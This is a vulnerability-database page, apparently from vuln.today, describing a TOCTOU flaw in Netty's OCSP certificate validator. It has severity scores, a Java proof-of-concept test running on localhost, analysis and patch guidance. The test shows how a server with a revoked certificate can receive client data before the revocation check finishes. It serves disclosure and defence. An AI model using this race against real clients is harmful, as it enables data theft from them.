Skip to main content

Netty CVE-2026-56822

HIGH
Time-of-check Time-of-use (TOCTOU) Race Condition (CWE-367)
2026-07-22 https://github.com/netty/netty GHSA-wc96-39fc-566f
7.4
CVSS 3.1 · Vendor: https://github.com/netty/netty
Share

Severity by source

Vendor (https://github.com/netty/netty) PRIMARY
7.4 HIGH
AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
vuln.today AI
7.4 HIGH

Network-reachable malicious server, no client auth (PR:N/UI:N), but AC:H due to needing a revoked cert plus winning the OCSP timing race; leaks data (C:H) and lets client process malicious responses (I:H), no availability impact.

3.1 AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N
4.0 AV:N/AC:H/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N
SUSE
HIGH
qualitative
Red Hat
7.4 HIGH
qualitative

Primary rating from Vendor (https://github.com/netty/netty).

CVSS VectorVendor: https://github.com/netty/netty

Attack Vector
Network
Attack Complexity
High
Privileges Required
None
User Interaction
None
Scope
Unchanged
Confidentiality
High
Integrity
High
Availability
None

Lifecycle Timeline

3
Source Code Evidence Fetched
Jul 22, 2026 - 22:20 vuln.today
Analysis Generated
Jul 22, 2026 - 22:20 vuln.today
CVE Published
Jul 22, 2026 - 21:47 github-advisory
HIGH 7.4

Blast Radius

ecosystem impact
† from your stack dependencies † transitive graph · vuln.today resolves 4-path depth
  • 74 maven packages depend on io.netty:netty-handler-ssl-ocsp (2 direct, 72 indirect)

Ecosystem-wide dependent count for version 4.2.0.Final.

DescriptionCVE.org

Summary

Netty's OcspServerCertificateValidator forwards the SslHandshakeCompletionEvent before the asynchronous OCSP validation completes. This allows the client's downstream handlers to send sensitive application data (e.g., HTTP requests) to a revoked server before the channel is closed by the OCSP check.

Details

In io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, when an SslHandshakeCompletionEvent is received, the validator immediately calls ctx.fireUserEventTriggered(evt). It then initiates an asynchronous OCSP query using OcspClient.query.

Because the handshake completion event is forwarded immediately, downstream handlers in the client's pipeline are notified that the TLS handshake is successful. They may then begin reading and processing incoming application data or sending outgoing data. If the OCSP response later indicates the server's certificate is REVOKED, the validator closes the channel, but by this time, the client may have already leaked sensitive data to a revoked server or processed malicious responses from it.

PoC

java
    @Test
    public void test() throws Exception {
        EventLoopGroup group = new MultiThreadIoEventLoopGroup(NioIoHandler.newFactory());
        try {
            OCSPRespBuilder respBuilder = new OCSPRespBuilder();
            OCSPResp response = respBuilder.build(OCSPRespBuilder.INTERNAL_ERROR, null);
            byte[] responseEncoded = response.getEncoded();

            IoTransport mockTransport = IoTransport.create(group.next(), () -> {
                NioSocketChannel channel = new NioSocketChannel();
                channel.pipeline().addFirst(new ChannelOutboundHandlerAdapter() {
                    @Override
                    public void connect(ChannelHandlerContext ctx, SocketAddress remoteAddress, SocketAddress localAddress, ChannelPromise promise) {
                        promise.setSuccess();

                        ctx.executor().schedule(() -> {
                            ctx.pipeline().fireChannelActive();

                            DefaultFullHttpResponse httpResponse = new DefaultFullHttpResponse(
                                    HttpVersion.HTTP_1_1, HttpResponseStatus.OK, Unpooled.wrappedBuffer(responseEncoded));
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_TYPE, "application/ocsp-response");
                            httpResponse.headers().set(HttpHeaderNames.CONTENT_LENGTH, httpResponse.content().readableBytes());

                            ctx.pipeline().fireChannelRead(httpResponse);
                        }, 500, TimeUnit.MILLISECONDS);
                    }
                });
                return channel;
            }, NioDatagramChannel::new);

            X509Bundle caRoot = new CertificateBuilder()
                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
                    .subject("CN=TrustedRootCA")
                    .setIsCertificateAuthority(true)
                    .buildSelfSigned();

            GeneralName ocspName = new GeneralName(GeneralName.uniformResourceIdentifier, "http://localhost/");
            AuthorityInformationAccess aia = new AuthorityInformationAccess(new AccessDescription(AccessDescription.id_ad_ocsp, ocspName));
            X509Bundle targetCert = new CertificateBuilder()
                    .algorithm(CertificateBuilder.Algorithm.rsa2048)
                    .subject("CN=TargetServer")
                    .addExtensionOctetString("1.3.6.1.5.5.7.1.1", false, aia.getEncoded())
                    .buildIssuedBy(caRoot);

            SslContext serverSslCtx = SslContextBuilder.forServer(targetCert.getKeyPair().getPrivate(), targetCert.getCertificate()).build();

            CopyOnWriteArrayList<String> receivedData = new CopyOnWriteArrayList<>();
            CountDownLatch dataReceivedLatch = new CountDownLatch(1);

            new ServerBootstrap()
                    .group(group)
                    .channel(NioServerSocketChannel.class)
                    .childHandler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(serverSslCtx.newHandler(ch.alloc()));
                            ch.pipeline().addLast(new SimpleChannelInboundHandler<ByteBuf>() {
                                @Override
                                protected void channelRead0(ChannelHandlerContext ctx, ByteBuf msg) {
                                    receivedData.add(msg.toString(CharsetUtil.UTF_8));
                                    dataReceivedLatch.countDown();
                                }
                            });
                        }
                    })
                    .bind(8080)
                    .sync()
                    .channel();

            SslContext clientSslCtx = SslContextBuilder.forClient()
                    .trustManager(InsecureTrustManagerFactory.INSTANCE)
                    .build();

            DnsNameResolver resolver = OcspServerCertificateValidator.createDefaultResolver(mockTransport);
            Channel clientChannel = new Bootstrap()
                    .group(group)
                    .channel(NioSocketChannel.class)
                    .handler(new ChannelInitializer<SocketChannel>() {
                        @Override
                        protected void initChannel(SocketChannel ch) {
                            ch.pipeline().addLast(clientSslCtx.newHandler(ch.alloc(), "127.0.0.1", 8080));
                            ch.pipeline().addLast(new OcspServerCertificateValidator(true, false, mockTransport, resolver));
                            ch.pipeline().addLast(new ChannelInboundHandlerAdapter() {
                                @Override
                                public void userEventTriggered(ChannelHandlerContext ctx, Object evt) {
                                    if (evt instanceof SslHandshakeCompletionEvent) {
                                        SslHandshakeCompletionEvent sslEvent = (SslHandshakeCompletionEvent) evt;
                                        if (sslEvent.isSuccess()) {
                                            ctx.writeAndFlush(Unpooled.copiedBuffer("SECRET_DATA", CharsetUtil.UTF_8));
                                        }
                                    }
                                    ctx.fireUserEventTriggered(evt);
                                }
                            });
                        }
                    })
                    .connect("127.0.0.1", 8080)
                    .sync()
                    .channel();

            assertTrue(clientChannel.closeFuture().await(5, TimeUnit.SECONDS));

            Thread.sleep(200);

            assertFalse(receivedData.contains("SECRET_DATA"), "Server should not receive the data.");
        } finally {
            group.shutdownGracefully();
        }
    }

Impact

TOCTOU. Client applications relying on OcspServerCertificateValidator to enforce server certificate revocation are impacted. A malicious server with a revoked certificate can successfully establish a TLS connection and receive sensitive application data from the client (or send malicious data to it) during the window between the TLS handshake completing and the asynchronous OCSP check failing.

AnalysisAI

TLS certificate-revocation bypass in Netty's OcspServerCertificateValidator (netty-handler-ssl-ocsp, versions <4.1.136.Final and 4.2.0.Final-4.2.16.Final) allows a malicious server presenting a revoked certificate to receive sensitive client data during a race window. The validator forwards the SslHandshakeCompletionEvent to downstream handlers before the asynchronous OCSP check finishes, so client applications treat the connection as trusted and may transmit or process application data before the revoked channel is closed. Publicly available exploit code exists (PoC in the GHSA advisory); no public active exploitation has been reported and the vulnerability is not in CISA KEV.

Technical ContextAI

Netty is a widely used Java asynchronous event-driven network framework; the affected code lives in the optional netty-handler-ssl-ocsp module (Maven coordinate io.netty:netty-handler-ssl-ocsp), which implements client-side OCSP stapling/validation of a server's certificate revocation status. The root cause is CWE-367 (Time-of-check to Time-of-use): in io.netty.handler.ssl.ocsp.OcspServerCertificateValidator#userEventTriggered, an incoming SslHandshakeCompletionEvent is immediately re-fired via ctx.fireUserEventTriggered(evt), and only then does the handler start an asynchronous OcspClient.query. Because the 'check' (revocation validation) completes long after the 'use' signal (handshake-success event) has propagated, downstream pipeline handlers begin sending/reading application data against a certificate whose revocation status is still unresolved. If OCSP later returns REVOKED, the channel is closed, but any data already exchanged in the interim has already left the client.

RemediationAI

Vendor-released patch: upgrade netty-handler-ssl-ocsp to 4.1.136.Final (for 4.1.x users) or 4.2.16.Final (for 4.2.x users), per releases https://github.com/netty/netty/releases/tag/netty-4.1.136.Final and https://github.com/netty/netty/releases/tag/netty-4.2.16.Final and advisory https://github.com/netty/netty/security/advisories/GHSA-wc96-39fc-566f. If you cannot upgrade immediately, do not rely on downstream handlers acting on the SslHandshakeCompletionEvent for revocation-sensitive traffic: gate outbound application data behind an explicit signal that the OCSP validation has completed successfully (for example, hold/queue writes in a custom handler placed after OcspServerCertificateValidator until it confirms a GOOD status, rather than writing on handshake-complete) - the trade-off is added connection latency while the OCSP round-trip completes. As a stronger compensating control, disable use of the asynchronous OcspServerCertificateValidator entirely and enforce revocation through a synchronous mechanism (e.g., OCSP stapling validated in-handshake, or CRL/short-lived certificate policies), accepting the loss of the on-connect OCSP feature. Verify the fixed Netty artifact is the one resolved transitively, since build tools may pull an older version via other dependencies.

More in Java

View all
CVE-2012-4681 CRITICAL POC
9.8 Aug 28

Oracle Java SE 7 Update 6 and earlier contains multiple sandbox bypass vulnerabilities via the ClassFinder and forName m

CVE-2015-7450 CRITICAL POC
9.8 Jan 02

Remote code execution in IBM Sterling B2B Integrator, Sterling Integrator, and Tivoli Common Reporting allows unauthenti

CVE-2013-2465 CRITICAL POC
9.8 Jun 18

Java Runtime Environment sandbox bypass via incorrect image channel verification in 2D component allows remote unauthent

CVE-2011-3544 CRITICAL POC
9.8 Oct 19

Oracle Java SE JDK/JRE 7 and 6 Update 27 and earlier allows remote code execution with complete system compromise throug

CVE-2010-1871 HIGH POC
8.8 Aug 05

JBoss Seam 2 in Red Hat JBoss EAP 4.3.0 fails to sanitize JBoss Expression Language inputs, allowing remote attackers to

CVE-2012-1723 CRITICAL POC
9.8 Jun 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 update 4 and earlier, 6 up

CVE-2013-0422 CRITICAL POC
9.8 Jan 10

Multiple vulnerabilities in Oracle Java 7 before Update 11 allow remote attackers to execute arbitrary code by (1) using

CVE-2012-0507 CRITICAL POC
9.8 Jun 07

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 2 and earlier, 6 Up

CVE-2015-4852 CRITICAL POC
9.8 Nov 18

The WLS Security component in Oracle WebLogic Server 10.3.6.0, 12.1.2.0, 12.1.3.0, and 12.2.1.0 allows remote attackers

CVE-2012-5076 CRITICAL POC
9.8 Oct 16

Unspecified vulnerability in the Java Runtime Environment (JRE) component in Oracle Java SE 7 Update 7 and earlier allow

CVE-2017-3066 CRITICAL POC
9.8 Apr 27

Remote unauthenticated attackers can execute arbitrary code on Adobe ColdFusion servers through Java deserialization fla

CVE-2012-0391 CRITICAL POC
9.8 Jan 08

The ExceptionDelegator component in Apache Struts before 2.2.3.1 interprets parameter values as OGNL expressions during

Vendor StatusVendor

SUSE

Severity: Important
Product Status
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise Desktop 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise High Performance Computing 15 SP7 Not-Affected
SUSE Linux Enterprise Module for Development Tools 15 SP7 Not-Affected

Share

CVE-2026-56822 vulnerability details – vuln.today

This site uses cookies essential for authentication and security. No tracking or analytics cookies are used. Privacy Policy